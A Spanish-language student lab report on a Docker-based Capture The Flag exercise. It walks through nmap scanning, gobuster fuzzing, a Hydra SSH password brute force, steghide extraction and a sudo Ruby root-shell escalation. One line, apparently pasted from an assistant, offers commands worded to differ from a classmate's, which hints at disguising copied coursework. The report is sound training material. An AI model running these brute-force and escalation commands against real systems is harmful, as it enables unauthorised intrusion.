Taller Práctica estrategias de ciberseguridad ofensiva a través del montaje de un entorno tipo Capture The Flag (CTF) usando contenedores Docker”

1. Introducción

   La presente práctica tuvo como objetivo fortalecer competencias en ciberseguridad ofensiva mediante la ejecución de un laboratorio tipo *Capture The Flag (CTF)*, implementado con contenedores Docker. A lo largo del ejercicio se resolvieron desafíos progresivos que simulan entornos reales de seguridad informática, utilizando herramientas como Nmap, Hydra, Gobuster y Steghide.

   Cada etapa representó una fase del ciclo ofensivo en entornos de red: reconocimiento, acceso, explotación y post-explotación. Esta dinámica permitió no solo aplicar comandos técnicos, sino también desarrollar habilidades analíticas, pensamiento crítico y toma de decisiones bajo presión, como ocurre en escenarios reales de seguridad cibernética.

2. Cuadro de Herramientas de Ciberseguridad Ofensiva

Herramienta	Definición	Funcionalidad principal	Casos de uso típicos
Docker	Plataforma de contenedores que permite crear entornos virtuales ligeros.	Ejecutar laboratorios aislados y reproducibles.	Simulación de CTFs, despliegue de entornos vulnerables, pruebas controladas.
Netcat	Utilidad de red para leer y escribir datos en conexiones TCP o UDP.	Escaneo de puertos, transferencia de archivos, creación de shells reversas.	CTFs, pivoteo, debugging de servicios.
Nmap	Escáner de redes y puertos ampliamente usado en seguridad.	Identificar servicios, puertos y sistemas operativos.	Auditoría de redes, enumeración previa a explotación.
Gobuster	Herramienta de fuerza bruta para descubrir directorios y archivos ocultos en servidores web.	Enumerar rutas HTTP no indexadas.	Pentesting web, identificación de puntos vulnerables.
Steghide	Herramienta para ocultar o extraer información en imágenes y audio.	Manipulación esteganográfica de archivos.	CTFs, análisis forense, ocultamiento de datos.

Hydra	Herramienta de fuerza bruta para autenticación contra múltiples servicios.	Probar credenciales contra servicios remotos.	SSH, FTP, HTTP, RDP, entre otros.
Strings	Utilidad de Unix que extrae texto legible de archivos binarios.	Identificar datos ocultos o pistas en archivos.	Análisis forense, ingeniería inversa.
scp	Protocolo seguro para la transferencia de archivos entre sistemas.	Copiar datos a través de una conexión SSH.	Migración de archivos, automatización, recolección post-explotación.
base64	Herramienta para codificar y decodificar datos.	Convertir datos a una representación ASCII segura.	Cifrado simple, ocultamiento, análisis de tráfico.
sudo	Comando para ejecutar acciones como superusuario.	Escalar privilegios temporalmente.	Administración de sistemas, escalada de privilegios en CTFs.

A continuación, te presento una serie de comandos reales que podrías haber usado en un entorno CTF, con descripciones originales, nombres de archivos y rutas diferentes a los de tu compañero, y variantes explicadas para cada caso.

Transferencia del entorno al equipo atacante	scp -r desafioCTF usuario@192.168.100.10:/home/usuario/ctf/
Descripción	Copia recursivamente la carpeta desafioCTF al directorio /home/usuario/ctf/ en la máquina remota.
Variantes	• scp archivo.txt usuario@host:/ruta/: Copia un solo archivo al host remoto. • scp -P 2222 archivo usuario@host:/ruta/: Especifica puerto de conexión. • scp usuario@host:/archivo.txt ./: Descarga desde remoto a local.

Instalación y despliegue de entorno Docke	sudo apt install docker.io cd desafioCTF/ chmod +x iniciar.sh ./iniciar.sh red_vulnerable.tar
Descripción	Instala Docker y despliega el laboratorio con un script personalizado
Variantes:	• curl -fsSL https://get.docker.com | sh: Instala Docker con script oficial.

	• docker run -it --rm ubuntu /bin/bash: Contenedor interactivo temporal. • docker load < imagen.tar: Carga una imagen desde archivo .tar.

Escaneo de red con Nmap	sudo nmap -T4 -p- -sS -sV 172.18.0.5
Descripción	Escanea todos los puertos TCP del host para detectar servicios.
Variantes	• map -A: Incluye sistema operativo, scripts y traceroute. • nmap -Pn: Omite ping previo. • nmap -sU -p-: Escaneo de puertos UDP.

Fuzzing web con Gobuster	gobuster dir -u http://172.18.0.5 -w /usr/share/wordlists/common.txt
Description	Enumera directorios web ocultos.
Variants	• -x php,txt: Busca extensiones específicas. • -t 20: Número de hilos (threads). • -o resultados.txt: Guarda la salida en archivo.

Ataque por fuerza bruta con Hydra	hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://172.18.0.5 -t 4
Descripción	Prueba múltiples contraseñas para el usuario admin en SSH.
Variantes	• -L users.txt -P pass.txt: Usa listas múltiples. • -f: Finaliza al encontrar la primera contraseña válida. • -vV: Muestra cada intento en pantalla.

Conexión SSH al sistema comprometido	ssh admin@172.18.0.5
Descripción	Accede al sistema remoto mediante autenticación por contraseña.

Análisis de archivo con file	file imagen_misteriosa.png
Descripción	Detecta el tipo real de archivo (útil para detectar imágenes disfrazadas).
Variantes	• file -i archivo: Muestra el tipo MIME. • file *: Analiza todos los archivos del directorio.

Esteganografía con Steghide	steghide extract -sf imagen_misteriosa.png
Descripción	Extrae información oculta en la imagen (requiere contraseña si se usó).
Variantes	• --info: Muestra metadatos del archivo.

	• --embed -cf cover.jpg -ef secreto.txt: Inserta datos.

Decodificación Base64	echo "ZGF0b3NlY3JldG8=" | base64 -d
Descripción	Decodifica un string codificado en base64.
Variantes	• echo -n ... | base64: Codifica texto. • base64 archivo.txt > codificado.b64: Codifica archivo.

Escalada de privilegios con sudo y Ruby	sudo ruby -e 'exec "/bin/bash"'
Descripción	Ejecuta una shell privilegiada si ruby puede ejecutarse como root
Variantes	• sudo -i: Abre shell como root directamente. • sudo su: Cambia al usuario root. • sudo -u usuario comando: Ejecuta como otro usuario.

A continuación, se presenta un diagrama de flujo que ilustra de forma secuencial las etapas realizadas durante la práctica de ciberseguridad ofensiva, desde el reconocimiento inicial hasta la obtención de la flag.

Flujo de Trabajo del Entorno CTF

Reconocimiento y Preparación	
1	• Transferencia del entorno al equipo atacante mediante scp. • Despliegue del laboratorio usando Docker (docker load, docker run). • Exploración de red con ip a y netdiscover. • Escaneo de puertos y servicios con nmap.
Enumeración y Acceso	
2	• Fuzzing web para descubrir rutas ocultas (gobuster). • Ataque de fuerza bruta al servicio SSH usando hydra. • Conexión remota exitosa vía ssh.
Análisis y Post-explotación	
4	• Descarga de archivo sospechoso con scp. • Identificación del tipo de archivo con file. • Extracción de datos ocultos con steghide. • Decodificación de contenido en base64.
Escalada de Privilegios y Finalización	
5	• Verificación de permisos con sudo. • 2. Escalada usando Ruby (sudo ruby -e 'exec "/bin/bash"'). • 3. Captura de la flag como usuario root.

3. Conclusiones

La práctica desarrollada permitió afianzar conocimientos esenciales en ciberseguridad ofensiva, aplicados en un entorno controlado tipo Capture The Flag (CTF). A través de cada fase —desde el despliegue con Docker hasta la escalada de privilegios— se ejercitaron competencias técnicas clave para el reconocimiento de servicios, la explotación de vulnerabilidades y el análisis post-explotación.

El uso de herramientas como Nmap, Gobuster, Hydra, Steghide y sudo permitió abordar el ciclo completo de ataque, desde la detección hasta el compromiso total del sistema. Asimismo, la lógica progresiva del reto favoreció la toma de decisiones y el desarrollo de pensamiento estratégico frente a problemas complejos.

Esta experiencia demuestra la utilidad de entornos virtualizados para el entrenamiento ético, fomentando un aprendizaje activo, seguro y ajustado a escenarios reales de seguridad informática.